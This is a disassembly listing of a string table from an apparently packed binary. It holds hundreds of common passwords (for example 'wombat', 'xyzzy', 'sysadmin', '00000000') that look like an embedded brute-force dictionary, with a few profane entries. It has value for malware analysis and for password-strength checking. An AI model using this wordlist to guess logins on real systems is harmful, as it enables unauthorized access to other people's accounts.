aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:0042DD68o
aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0042DD64o
align 4
aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:0042DD60o
align 4
aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:0042DD5Co
align 4
aDud3 db 'dud3',0 ; DATA XREF: .nsp0:0042DD58o
align 4
aDudette db 'dudette',0 ; DATA XREF: .nsp0:0042DD54o
aD00d db 'd00d',0 ; DATA XREF: .nsp0:0042DD50o
align 4
aLol db 'lol',0 ; DATA XREF: .nsp0:0042DD4Co
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:0042DD48o
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0042DD44o
align 10h
aRosco db 'Rosco',0 ; DATA XREF: .nsp0:0042DD40o
align 4
aRoss db 'Ross',0 ; DATA XREF: .nsp0:0042DD3Co
align 10h
aTestin db 'testin',0 ; DATA XREF: .nsp0:0042DD38o
align 4
aTester db 'tester',0 ; DATA XREF: .nsp0:0042DD34o
align 10h
a00000000 db '00000000',0 ; DATA XREF: .nsp0:0042DD30o
; .nsp0:0042DFECo
align 4
aZulu db 'zulu',0 ; DATA XREF: .nsp0:0042DD2Co
align 4
aZombie db 'zombie',0 ; DATA XREF: .nsp0:0042DD28o
align 4
aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:0042DD24o
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:0042DD20o
align 10h
aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:0042DD1Co
align 4
aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:0042DD18o
align 4
aZebra db 'zebra',0 ; DATA XREF: .nsp0:0042DD14o
align 4
aYoung db 'young',0 ; DATA XREF: .nsp0:0042DD10o
align 4
aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:0042DD0Co
align 10h
aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:0042DD08o
aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:0042DD04o
align 4
aYellow db 'yellow',0 ; DATA XREF: .nsp0:0042DD00o
align 4
aYankee db 'yankee',0 ; DATA XREF: .nsp0:0042DCFCo
align 4
aYang db 'yang',0 ; DATA XREF: .nsp0:0042DCF8o
; .nsp0:0042E434o
align 4
aYaco db 'yaco',0 ; DATA XREF: .nsp0:0042DCF4o
; .nsp0:0042E430o
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:0042DCF0o
align 4
aXray db 'xray',0 ; DATA XREF: .nsp0:0042DCECo
align 4
aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:0042DCE8o
align 4
aXmen db 'xmen',0 ; DATA XREF: .nsp0:0042DCE4o
align 4
aXman db 'xman',0 ; DATA XREF: .nsp0:0042DCE0o
align 4
aXfer db 'xfer',0 ; DATA XREF: .nsp0:0042DCDCo
align 4
aXena db 'xena',0 ; DATA XREF: .nsp0:0042DCD8o
align 4
aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:0042DCD4o
aWwii db 'wwii',0 ; DATA XREF: .nsp0:0042DCD0o
align 4
aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:0042DCCCo
align 4
aWorm db 'worm',0 ; DATA XREF: .nsp0:0042DCC8o
align 10h
aWork db 'work',0 ; DATA XREF: .nsp0:0042DCC4o
align 4
aWorf db 'worf',0 ; DATA XREF: .nsp0:0042DCC0o
align 10h
aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:0042DCBCo
align 4
aWord db 'word',0 ; DATA XREF: .nsp0:0042DCB8o
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0042DCB4o
align 10h
aWood db 'wood',0 ; DATA XREF: .nsp0:0042DCB0o
align 4
aWomen db 'women',0 ; DATA XREF: .nsp0:0042DCACo
align 10h
aWombat db 'wombat',0 ; DATA XREF: .nsp0:0042DCA8o
align 4
aWoman db 'woman',0 ; DATA XREF: .nsp0:0042DCA4o
align 10h
aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:0042DCA0o
align 4
aWolf db 'wolf',0 ; DATA XREF: .nsp0:0042DC9Co
align 4
aWizard db 'wizard',0 ; DATA XREF: .nsp0:0042DC98o
align 4
aWithin db 'within',0 ; DATA XREF: .nsp0:0042DC94o
align 4
aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:0042DC90o
aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:0042DC8Co
align 4
aWired db 'wired',0 ; DATA XREF: .nsp0:0042DC88o
align 10h
aWinston db 'winston',0 ; DATA XREF: .nsp0:0042DC84o
aWing db 'wing',0 ; DATA XREF: .nsp0:0042DC80o
align 10h
aWine db 'wine',0 ; DATA XREF: .nsp0:0042DC7Co
align 4
aWindows db 'windows',0 ; DATA XREF: .nsp0:0042DC78o
aWilma db 'wilma',0 ; DATA XREF: .nsp0:0042DC74o
align 4
aWillie db 'willie',0 ; DATA XREF: .nsp0:0042DC70o
align 10h
aWilliams db 'williams',0 ; DATA XREF: .nsp0:0042DC6Co
align 4
aWilliam db 'william',0 ; DATA XREF: .nsp0:0042DC68o
aWill db 'will',0 ; DATA XREF: .nsp0:0042DC64o
align 4
aWhore db 'whore',0 ; DATA XREF: .nsp0:0042DC60o
align 4
aWholesal db 'wholesal',0 ; DATA XREF: .nsp0:0042DC5Co
align 10h
aWhitney db 'whitney',0 ; DATA XREF: .nsp0:0042DC58o
aWhiting db 'whiting',0 ; DATA XREF: .nsp0:0042DC54o
aWhite db 'white',0 ; DATA XREF: .nsp0:0042DC50o
align 4
aWhisky db 'whisky',0 ; DATA XREF: .nsp0:0042DC4Co
align 10h
aWhatnot db 'whatnot',0 ; DATA XREF: .nsp0:0042DC48o
aWhatever db 'whatever',0 ; DATA XREF: .nsp0:0042DC44o
align 4
aWestern db 'western',0 ; DATA XREF: .nsp0:0042DC40o
aWest db 'west',0 ; DATA XREF: .nsp0:0042DC3Co
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:0042DC38o
align 10h
aWendy db 'wendy',0 ; DATA XREF: .nsp0:0042DC34o
align 4
aWendi db 'wendi',0 ; DATA XREF: .nsp0:0042DC30o
align 10h
aWell db 'well',0 ; DATA XREF: .nsp0:0042DC2Co
align 4
aWeenie db 'weenie',0 ; DATA XREF: .nsp0:0042DC28o
align 10h
aWeed db 'weed',0 ; DATA XREF: .nsp0:0042DC24o
align 4
aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:0042DC20o
align 4
aWebpage db 'webpage',0 ; DATA XREF: .nsp0:0042DC1Co
aWave db 'wave',0 ; DATA XREF: .nsp0:0042DC18o
align 4
aWater db 'water',0 ; DATA XREF: .nsp0:0042DC14o
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:0042DC10o
align 4
aWasp db 'wasp',0 ; DATA XREF: .nsp0:0042DC0Co
align 10h
aWarren db 'warren',0 ; DATA XREF: .nsp0:0042DC08o
align 4
aWarp db 'warp',0 ; DATA XREF: .nsp0:0042DC04o
align 10h
aWargames db 'wargames',0 ; DATA XREF: .nsp0:0042DC00o
align 4
aWarfare db 'warfare',0 ; DATA XREF: .nsp0:0042DBFCo
aWarez db 'warez',0 ; DATA XREF: .nsp0:0042DBF8o
align 4
aWard db 'ward',0 ; DATA XREF: .nsp0:0042DBF4o
align 4
aWaco db 'waco',0 ; DATA XREF: .nsp0:0042DBF0o
align 4
aVodka db 'vodka',0 ; DATA XREF: .nsp0:0042DBECo
align 4
aVisualba db 'visualba',0 ; DATA XREF: .nsp0:0042DBE8o
align 10h
aVisual db 'visual',0 ; DATA XREF: .nsp0:0042DBE4o
align 4
aVisitor db 'visitor',0 ; DATA XREF: .nsp0:0042DBE0o
aVirus db 'virus',0 ; DATA XREF: .nsp0:0042DBDCo
align 4
aVirginia db 'virginia',0 ; DATA XREF: .nsp0:0042DBD8o
align 4
aVirgin db 'virgin',0 ; DATA XREF: .nsp0:0042DBD4o
align 4
aVillage db 'village',0 ; DATA XREF: .nsp0:0042DBD0o
aVideogam db 'videogam',0 ; DATA XREF: .nsp0:0042DBCCo
align 10h
aVideo db 'video',0 ; DATA XREF: .nsp0:0042DBC8o
align 4
aVictor db 'victor',0 ; DATA XREF: .nsp0:0042DBC4o
align 10h
aVicky db 'vicky',0 ; DATA XREF: .nsp0:0042DBC0o
align 4
aVertigo db 'vertigo',0 ; DATA XREF: .nsp0:0042DBBCo
aVeronica db 'veronica',0 ; DATA XREF: .nsp0:0042DBB8o
align 4
aVenus db 'venus',0 ; DATA XREF: .nsp0:0042DBB4o
align 4
aVasant db 'vasant',0 ; DATA XREF: .nsp0:0042DBB0o
align 4
aVampire db 'vampire',0 ; DATA XREF: .nsp0:0042DBACo
aValerie db 'valerie',0 ; DATA XREF: .nsp0:0042DBA8o
aVagina db 'vagina',0 ; DATA XREF: .nsp0:0042DBA4o
align 4
aUucp db 'uucp',0 ; DATA XREF: .nsp0:0042DBA0o
align 4
aUtility db 'utility',0 ; DATA XREF: .nsp0:0042DB9Co
aUtil db 'util',0 ; DATA XREF: .nsp0:0042DB98o
align 4
aUsmc db 'usmc',0 ; DATA XREF: .nsp0:0042DB94o
align 4
aUsername db 'username',0 ; DATA XREF: .nsp0:0042DB90o
align 10h
aUsermane db 'usermane',0 ; DATA XREF: .nsp0:0042DB8Co
align 4
aUsenet db 'usenet',0 ; DATA XREF: .nsp0:0042DB88o
align 4
aUrsula db 'ursula',0 ; DATA XREF: .nsp0:0042DB84o
align 4
aUrchin db 'urchin',0 ; DATA XREF: .nsp0:0042DB80o
align 4
aUranus db 'uranus',0 ; DATA XREF: .nsp0:0042DB7Co
align 4
aUpload db 'upload',0 ; DATA XREF: .nsp0:0042DB78o
align 4
aUnlock db 'unlock',0 ; DATA XREF: .nsp0:0042DB74o
align 4
aUnknown_0 db 'unknown',0 ; DATA XREF: .nsp0:0042DB70o
aUniversi db 'universi',0 ; DATA XREF: .nsp0:0042DB6Co
align 10h
aUniverse db 'universe',0 ; DATA XREF: .nsp0:0042DB68o
align 4
aUniversa db 'universa',0 ; DATA XREF: .nsp0:0042DB64o
align 4
aUniform db 'uniform',0 ; DATA XREF: .nsp0:0042DB60o
aUnicorn db 'unicorn',0 ; DATA XREF: .nsp0:0042DB5Co
aUnhappy db 'unhappy',0 ; DATA XREF: .nsp0:0042DB58o
aUndo db 'undo',0 ; DATA XREF: .nsp0:0042DB54o
align 4
aUncle db 'uncle',0 ; DATA XREF: .nsp0:0042DB50o
align 10h
aUmesh db 'umesh',0 ; DATA XREF: .nsp0:0042DB4Co
align 4
aUgly db 'ugly',0 ; DATA XREF: .nsp0:0042DB48o
align 10h
aTuttle db 'tuttle',0 ; DATA XREF: .nsp0:0042DB44o
align 4
aTurn db 'turn',0 ; DATA XREF: .nsp0:0042DB40o
align 10h
aTuesday db 'tuesday',0 ; DATA XREF: .nsp0:0042DB3Co
aTubas db 'tubas',0 ; DATA XREF: .nsp0:0042DB38o
align 10h
aTruth db 'truth',0 ; DATA XREF: .nsp0:0042DB34o
align 4
aTrue db 'true',0 ; DATA XREF: .nsp0:0042DB30o
align 10h
aTron db 'tron',0 ; DATA XREF: .nsp0:0042DB2Co
align 4
aTrombone db 'trombone',0 ; DATA XREF: .nsp0:0042DB28o
align 4
aTrojan db 'trojan',0 ; DATA XREF: .nsp0:0042DB24o
align 4
aTrivial db 'trivial',0 ; DATA XREF: .nsp0:0042DB20o
aTrisha db 'trisha',0 ; DATA XREF: .nsp0:0042DB1Co
align 4
aTrek db 'trek',0 ; DATA XREF: .nsp0:0042DB18o
align 4
aTree db 'tree',0 ; DATA XREF: .nsp0:0042DB14o
align 4
aTrapdoor db 'trapdoor',0 ; DATA XREF: .nsp0:0042DB10o
align 4
aTrap db 'trap',0 ; DATA XREF: .nsp0:0042DB0Co
align 10h
aTransfer db 'transfer',0 ; DATA XREF: .nsp0:0042DB08o
align 4
aTrails db 'trails',0 ; DATA XREF: .nsp0:0042DB04o
align 4
aTracy db 'tracy',0 ; DATA XREF: .nsp0:0042DB00o
align 4
aTracie db 'tracie',0 ; DATA XREF: .nsp0:0042DAFCo
align 4
aTraci db 'traci',0 ; DATA XREF: .nsp0:0042DAF8o
align 4
aToyota db 'toyota',0 ; DATA XREF: .nsp0:0042DAF4o
; .nsp0:0042E404o
align 4
aToxic db 'toxic',0 ; DATA XREF: .nsp0:0042DAF0o
align 4
aTortoise db 'tortoise',0 ; DATA XREF: .nsp0:0042DAECo
align 4
aTopograp db 'topograp',0 ; DATA XREF: .nsp0:0042DAE8o
align 4
aTomato db 'tomato',0 ; DATA XREF: .nsp0:0042DAE4o
align 4
aTokenrin db 'tokenrin',0 ; DATA XREF: .nsp0:0042DAE0o
align 4
aToken db 'token',0 ; DATA XREF: .nsp0:0042DADCo
align 10h
aToggle db 'toggle',0 ; DATA XREF: .nsp0:0042DAD8o
align 4
aToad db 'toad',0 ; DATA XREF: .nsp0:0042DAD4o
align 10h
aTits db 'tits',0 ; DATA XREF: .nsp0:0042DAD0o
align 4
aTina db 'tina',0 ; DATA XREF: .nsp0:0042DACCo
align 10h
aTime db 'time',0 ; DATA XREF: .nsp0:0042DAC8o
align 4
aTiger db 'tiger',0 ; DATA XREF: .nsp0:0042DAC4o
; .nsp0:0042E3F8o
align 10h
aTiffany db 'tiffany',0 ; DATA XREF: .nsp0:0042DAC0o
aThursday db 'thursday',0 ; DATA XREF: .nsp0:0042DABCo
align 4
aThin db 'thin',0 ; DATA XREF: .nsp0:0042DAB8o
align 4
aTheresa db 'theresa',0 ; DATA XREF: .nsp0:0042DAB4o
aThailand db 'thailand',0 ; DATA XREF: .nsp0:0042DAB0o
align 10h
aText db 'text',0 ; DATA XREF: .nsp0:0042DAACo
align 4
aTetris db 'tetris',0 ; DATA XREF: .nsp0:0042DAA8o
align 10h
aTess db 'tess',0 ; DATA XREF: .nsp0:0042DAA4o
align 4
aTerminat db 'terminat',0 ; DATA XREF: .nsp0:0042DAA0o
align 4
aTerminal db 'terminal',0 ; DATA XREF: .nsp0:0042DA9Co
align 10h
aTera db 'tera',0 ; DATA XREF: .nsp0:0042DA98o
align 4
aTennis db 'tennis',0 ; DATA XREF: .nsp0:0042DA94o
align 10h
aTemptati db 'temptati',0 ; DATA XREF: .nsp0:0042DA90o
align 4
aTelnet db 'telnet',0 ; DATA XREF: .nsp0:0042DA8Co
align 4
aTelephon db 'telephon',0 ; DATA XREF: .nsp0:0042DA88o
align 10h
aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0042DA84o
aTeen db 'teen',0 ; DATA XREF: .nsp0:0042DA80o
align 10h
aTech db 'tech',0 ; DATA XREF: .nsp0:0042DA7Co
align 4
aTears db 'tears',0 ; DATA XREF: .nsp0:0042DA78o
align 10h
aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0042DA74o
align 4
aTeam db 'team',0 ; DATA XREF: .nsp0:0042DA70o
align 10h
aTaylor db 'taylor',0 ; DATA XREF: .nsp0:0042DA68o
align 4
aTarragon db 'tarragon',0 ; DATA XREF: .nsp0:0042DA64o
align 4
aTarget db 'target',0 ; DATA XREF: .nsp0:0042DA60o
align 4
aTara db 'tara',0 ; DATA XREF: .nsp0:0042DA5Co
align 4
aTape db 'tape',0 ; DATA XREF: .nsp0:0042DA58o
align 4
aTango db 'tango',0 ; DATA XREF: .nsp0:0042DA54o
align 4
aTangerin db 'tangerin',0 ; DATA XREF: .nsp0:0042DA50o
align 10h
aTammy db 'tammy',0 ; DATA XREF: .nsp0:0042DA4Co
align 4
aTamie db 'tamie',0 ; DATA XREF: .nsp0:0042DA48o
align 10h
aTami db 'tami',0 ; DATA XREF: .nsp0:0042DA44o
align 4
aTamara db 'tamara',0 ; DATA XREF: .nsp0:0042DA40o
align 10h
aTall db 'tall',0 ; DATA XREF: .nsp0:0042DA3Co
align 4
aTalk db 'talk',0 ; DATA XREF: .nsp0:0042DA38o
align 10h
aTabasco db 'tabasco',0 ; DATA XREF: .nsp0:0042DA34o
aSysop db 'sysop',0 ; DATA XREF: .nsp0:0042DA30o
align 10h
aSysadmin db 'sysadmin',0 ; DATA XREF: .nsp0:0042DA2Co
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:0042DA28o
align 4
aSybil db 'sybil',0 ; DATA XREF: .nsp0:0042DA24o
align 10h
aSword db 'sword',0 ; DATA XREF: .nsp0:0042DA20o
align 4
aSwitch db 'switch',0 ; DATA XREF: .nsp0:0042DA1Co
align 10h
aSweat db 'sweat',0 ; DATA XREF: .nsp0:0042DA18o
align 4
aSwearer db 'swearer',0 ; DATA XREF: .nsp0:0042DA14o
aSuzie db 'suzie',0 ; DATA XREF: .nsp0:0042DA10o
align 4
aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:0042DA0Co
aSusie db 'susie',0 ; DATA XREF: .nsp0:0042DA08o
align 4
aSusanne db 'susanne',0 ; DATA XREF: .nsp0:0042DA04o
aSusan db 'susan',0 ; DATA XREF: .nsp0:0042DA00o
align 4
aSurfing db 'surfing',0 ; DATA XREF: .nsp0:0042D9FCo
aSurfer db 'surfer',0 ; DATA XREF: .nsp0:0042D9F8o
align 4
aSupporte db 'supporte',0 ; DATA XREF: .nsp0:0042D9F4o
align 4
aSupport db 'support',0 ; DATA XREF: .nsp0:0042D9F0o
aSupervis db 'supervis',0 ; DATA XREF: .nsp0:0042D9ECo
align 4
aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:0042D9E8o
align 4
aSupersta db 'supersta',0 ; DATA XREF: .nsp0:0042D9E4o
align 10h
aSuperson db 'superson',0 ; DATA XREF: .nsp0:0042D9E0o
align 4
aSuperman db 'superman',0 ; DATA XREF: .nsp0:0042D9DCo
align 4
aSunday db 'sunday',0 ; DATA XREF: .nsp0:0042D9D8o
align 10h
aSummer db 'summer',0 ; DATA XREF: .nsp0:0042D9D4o
align 4
aSucks db 'sucks',0 ; DATA XREF: .nsp0:0042D9D0o
align 10h
aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:0042D9CCo
align 4
aSuck db 'suck',0 ; DATA XREF: .nsp0:0042D9C8o
align 4
aSuccess db 'success',0 ; DATA XREF: .nsp0:0042D9C4o
aSubway db 'subway',0 ; DATA XREF: .nsp0:0042D9C0o
align 4
aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:0042D9BCo
align 10h
aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:0042D9B8o
align 4
aStrip db 'strip',0 ; DATA XREF: .nsp0:0042D9B0o
align 4
aString db 'string',0 ; DATA XREF: .nsp0:0042D9ACo
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: .nsp0:off_42549Co
; .nsp0:0042D9A8o
align 4
aStratfor db 'stratfor',0 ; DATA XREF: .nsp0:0042D9A4o
align 4
aStrangle db 'strangle',0 ; DATA XREF: .nsp0:0042D9A0o
align 10h
aStrange db 'strange',0 ; DATA XREF: .nsp0:0042D99Co
aStones db 'stones',0 ; DATA XREF: .nsp0:0042D998o
align 10h
aStoned db 'stoned',0 ; DATA XREF: .nsp0:0042D994o
align 4
aStoneage db 'stoneage',0 ; DATA XREF: .nsp0:0042D990o
align 4
aSteve db 'steve',0 ; DATA XREF: .nsp0:0042D98Co
align 4
aStereo db 'stereo',0 ; DATA XREF: .nsp0:0042D988o
align 4
aStephani db 'stephani',0 ; DATA XREF: .nsp0:0042D984o
align 10h
aSteph db 'steph',0 ; DATA XREF: .nsp0:0042D980o
align 4
aSteel db 'steel',0 ; DATA XREF: .nsp0:0042D97Co
align 10h
aSteal db 'steal',0 ; DATA XREF: .nsp0:0042D978o
align 4
aSteak db 'steak',0 ; DATA XREF: .nsp0:0042D974o
align 10h
aStarwars db 'starwars',0 ; DATA XREF: .nsp0:0042D970o
align 4
aStartup db 'startup',0 ; DATA XREF: .nsp0:0042D96Co
aStartrek db 'startrek',0 ; DATA XREF: .nsp0:0042D968o
align 10h
aStart db 'start',0 ; DATA XREF: sub_40CE55+1EF2o
; .nsp0:0042D964o
align 4
aStarship db 'starship',0 ; DATA XREF: .nsp0:0042D960o
align 4
aStar db 'star',0 ; DATA XREF: .nsp0:0042D95Co
align 4
aStacy db 'stacy',0 ; DATA XREF: .nsp0:0042D958o
align 4
aStacie db 'stacie',0 ; DATA XREF: .nsp0:0042D954o
align 4
aStaci db 'staci',0 ; DATA XREF: .nsp0:0042D950o
align 4
aStacey db 'stacey',0 ; DATA XREF: .nsp0:0042D94Co
align 4
aSr71 db 'sr71',0 ; DATA XREF: .nsp0:0042D948o
align 4
aSquires db 'squires',0 ; DATA XREF: .nsp0:0042D944o
aSpunk db 'spunk',0 ; DATA XREF: .nsp0:0042D940o
align 4
aSpringer db 'springer',0 ; DATA XREF: .nsp0:0042D93Co
align 10h
aSpring db 'spring',0 ; DATA XREF: .nsp0:0042D938o
align 4
aSpred db 'spred',0 ; DATA XREF: .nsp0:0042D934o
align 10h
aSpit db 'spit',0 ; DATA XREF: .nsp0:0042D930o
align 4
aSpiderma db 'spiderma',0 ; DATA XREF: .nsp0:0042D92Co
align 4
aSpider db 'spider',0 ; DATA XREF: .nsp0:0042D928o
align 4
aSpice db 'spice',0 ; DATA XREF: .nsp0:0042D924o
align 4
aSpell db 'spell',0 ; DATA XREF: .nsp0:0042D920o
align 4
aSpear db 'spear',0 ; DATA XREF: .nsp0:0042D91Co
align 4
aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:0042D918o
align 10h
aSpaceshi db 'spaceshi',0 ; DATA XREF: .nsp0:0042D914o
align 4
aSouth db 'south',0 ; DATA XREF: .nsp0:0042D910o
align 4
aSource db 'source',0 ; DATA XREF: .nsp0:0042D90Co
align 4
aSossina db 'sossina',0 ; DATA XREF: .nsp0:0042D908o
aSonya db 'sonya',0 ; DATA XREF: .nsp0:0042D904o
align 4
aSonic db 'sonic',0 ; DATA XREF: .nsp0:0042D900o
align 4
aSonia db 'sonia',0 ; DATA XREF: .nsp0:0042D8FCo
align 4
aSondra db 'sondra',0 ; DATA XREF: .nsp0:0042D8F8o
align 4
aSomebody db 'somebody',0 ; DATA XREF: .nsp0:0042D8F4o
align 10h
aSoftware db 'software',0 ; DATA XREF: .nsp0:0042D8F0o
align 4
aSoft db 'soft',0 ; DATA XREF: .nsp0:0042D8ECo
align 4
aSodomy db 'sodomy',0 ; DATA XREF: .nsp0:0042D8E8o
align 4
aSocrates db 'socrates',0 ; DATA XREF: .nsp0:0042D8E4o
align 4
aSocial db 'social',0 ; DATA XREF: .nsp0:0042D8E0o
align 10h
aSoap db 'soap',0 ; DATA XREF: .nsp0:0042D8DCo
align 4
aSnoopy db 'snoopy',0 ; DATA XREF: .nsp0:0042D8D8o
align 10h
aSnatch db 'snatch',0 ; DATA XREF: .nsp0:0042D8D4o
align 4
aSnake db 'snake',0 ; DATA XREF: .nsp0:0042D8D0o
align 10h
aSnafu db 'snafu',0 ; DATA XREF: .nsp0:0042D8CCo
align 4
aSnach db 'snach',0 ; DATA XREF: .nsp0:0042D8C8o
align 10h
aSmut db 'smut',0 ; DATA XREF: .nsp0:0042D8C4o
align 4
aSmtp db 'smtp',0 ; DATA XREF: .nsp0:0042D8C0o
align 10h
aSmother db 'smother',0 ; DATA XREF: .nsp0:0042D8BCo
aSmooch db 'smooch',0 ; DATA XREF: .nsp0:0042D8B8o
align 10h
aSmiles db 'smiles',0 ; DATA XREF: .nsp0:0042D8B4o
align 4
aSmile db 'smile',0 ; DATA XREF: .nsp0:0042D8B0o
align 10h
aSmart db 'smart',0 ; DATA XREF: .nsp0:0042D8ACo
align 4
aSmall db 'small',0 ; DATA XREF: .nsp0:0042D8A8o
align 10h
aSlut db 'slut',0 ; DATA XREF: .nsp0:0042D8A4o
align 4
aSlow db 'slow',0 ; DATA XREF: .nsp0:0042D8A0o
align 10h
aSliders db 'sliders',0 ; DATA XREF: .nsp0:0042D89Co
aSlick db 'slick',0 ; DATA XREF: .nsp0:0042D898o
align 10h
aSlave db 'slave',0 ; DATA XREF: .nsp0:0042D894o
align 4
aSkull db 'skull',0 ; DATA XREF: .nsp0:0042D890o
align 10h
aSite db 'site',0 ; DATA XREF: .nsp0:0042D88Co
align 4
aSingle db 'single',0 ; DATA XREF: .nsp0:0042D888o
align 10h
aSinger db 'singer',0 ; DATA XREF: .nsp0:0042D884o
align 4
aSimulati db 'simulati',0 ; DATA XREF: .nsp0:0042D880o
align 4
aSimpsons db 'simpsons',0 ; DATA XREF: .nsp0:0042D87Co
align 10h
aSimple db 'simple',0 ; DATA XREF: .nsp0:0042D878o
align 4
aSimon db 'simon',0 ; DATA XREF: .nsp0:0042D874o
align 10h
aSimcity db 'simcity',0 ; DATA XREF: .nsp0:0042D870o
aSilver db 'silver',0 ; DATA XREF: .nsp0:0042D86Co
align 10h
aSignatur db 'signatur',0 ; DATA XREF: .nsp0:0042D868o
align 4
aSierra db 'sierra',0 ; DATA XREF: .nsp0:0042D864o
align 4
aSick db 'sick',0 ; DATA XREF: .nsp0:0042D860o
align 4
aShuttle db 'shuttle',0 ; DATA XREF: .nsp0:0042D85Co
aShort db 'short',0 ; DATA XREF: .nsp0:0042D858o
align 4
aShivers db 'shivers',0 ; DATA XREF: .nsp0:0042D854o
aShiva db 'shiva',0 ; DATA XREF: .nsp0:0042D850o
align 4
aShitpot db 'shitpot',0 ; DATA XREF: .nsp0:0042D84Co
aShit db 'shit',0 ; DATA XREF: .nsp0:0042D848o
align 4
aShirley db 'shirley',0 ; DATA XREF: .nsp0:0042D844o
aShift db 'shift',0 ; DATA XREF: .nsp0:0042D840o
align 4
aSherri db 'sherri',0 ; DATA XREF: .nsp0:0042D83Co
align 4
aShell db 'shell',0 ; DATA XREF: .nsp0:0042D838o
align 4
aSheldon db 'sheldon',0 ; DATA XREF: .nsp0:0042D834o
aSheffiel db 'sheffiel',0 ; DATA XREF: .nsp0:0042D830o
align 10h
aSharon db 'sharon',0 ; DATA XREF: .nsp0:0042D82Co
align 4
aSharks db 'sharks',0 ; DATA XREF: .nsp0:0042D828o
align 10h
aShark db 'shark',0 ; DATA XREF: .nsp0:0042D824o
align 4
aSharc db 'sharc',0 ; DATA XREF: .nsp0:0042D820o
align 10h
aShannon db 'shannon',0 ; DATA XREF: .nsp0:0042D81Co
aSexy db 'sexy',0 ; DATA XREF: .nsp0:0042D818o
align 10h
aSesame db 'sesame',0 ; DATA XREF: .nsp0:0042D814o
align 4
aService db 'service',0 ; DATA XREF: .nsp0:0042D810o
; .nsp0:0042E3D8o
aSerial_0 db 'serial',0 ; DATA XREF: .nsp0:0042D80Co
align 4
aSerenity db 'serenity',0 ; DATA XREF: .nsp0:0042D808o
align 4
aSentry db 'sentry',0 ; DATA XREF: .nsp0:0042D804o
align 4
aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:0042D800o
align 4
aSensor db 'sensor',0 ; DATA XREF: .nsp0:0042D7FCo
align 10h
aSega db 'sega',0 ; DATA XREF: .nsp0:0042D7F8o
align 4
aSeed db 'seed',0 ; DATA XREF: .nsp0:0042D7F4o
align 10h
aSecurity db 'security',0 ; DATA XREF: .nsp0:0042D7F0o
align 4
aSearch db 'search',0 ; DATA XREF: .nsp0:0042D7ECo
align 4
aScout db 'scout',0 ; DATA XREF: .nsp0:0042D7E8o
align 4
aScotty db 'scotty',0 ; DATA XREF: .nsp0:0042D7E4o
align 4
aScott db 'scott',0 ; DATA XREF: .nsp0:0042D7E0o
align 4
aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:0042D7DCo
align 4
aScifi db 'scifi',0 ; DATA XREF: .nsp0:0042D7D8o
align 10h
aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:0042D7D4o
aSchool db 'school',0 ; DATA XREF: .nsp0:0042D7D0o
align 4
aScheme db 'scheme',0 ; DATA XREF: .nsp0:0042D7CCo
align 4
aScamper db 'scamper',0 ; DATA XREF: .nsp0:0042D7C8o
aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0042D7C4o
align 4
aSaturn db 'saturn',0 ; DATA XREF: .nsp0:0042D7C0o
align 4
aSaturday db 'saturday',0 ; DATA XREF: .nsp0:0042D7BCo
align 10h
aSarah db 'sarah',0 ; DATA XREF: .nsp0:0042D7B8o
align 4
aSara db 'sara',0 ; DATA XREF: .nsp0:0042D7B4o
align 10h
aSandy db 'sandy',0 ; DATA XREF: .nsp0:0042D7B0o
align 4
aSandra db 'sandra',0 ; DATA XREF: .nsp0:0042D7ACo
align 10h
aSample db 'sample',0 ; DATA XREF: .nsp0:0042D7A8o
align 4
aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0042D7A4o
align 4
aSalt db 'salt',0 ; DATA XREF: .nsp0:0042D7A0o
align 4
aSale db 'sale',0 ; DATA XREF: .nsp0:0042D79Co
align 4
aSalami db 'salami',0 ; DATA XREF: .nsp0:0042D798o
align 4
aSafe db 'safe',0 ; DATA XREF: .nsp0:0042D794o
align 4
aRuth db 'ruth',0 ; DATA XREF: .nsp0:0042D790o
align 4
aRush db 'rush',0 ; DATA XREF: .nsp0:0042D78Co
align 4
aRunning db 'running',0 ; DATA XREF: .nsp0:0042D788o
aRules db 'rules',0 ; DATA XREF: .nsp0:0042D784o
align 4
aRude db 'rude',0 ; DATA XREF: .nsp0:0042D780o
align 4
aRuby db 'ruby',0 ; DATA XREF: .nsp0:0042D77Co
align 4
aRuben db 'ruben',0 ; DATA XREF: .nsp0:0042D778o
align 4
aRubber db 'rubber',0 ; DATA XREF: .nsp0:0042D774o
align 4
aRough db 'rough',0 ; DATA XREF: .nsp0:0042D770o
align 4
aRoses db 'roses',0 ; DATA XREF: .nsp0:0042D76Co
align 4
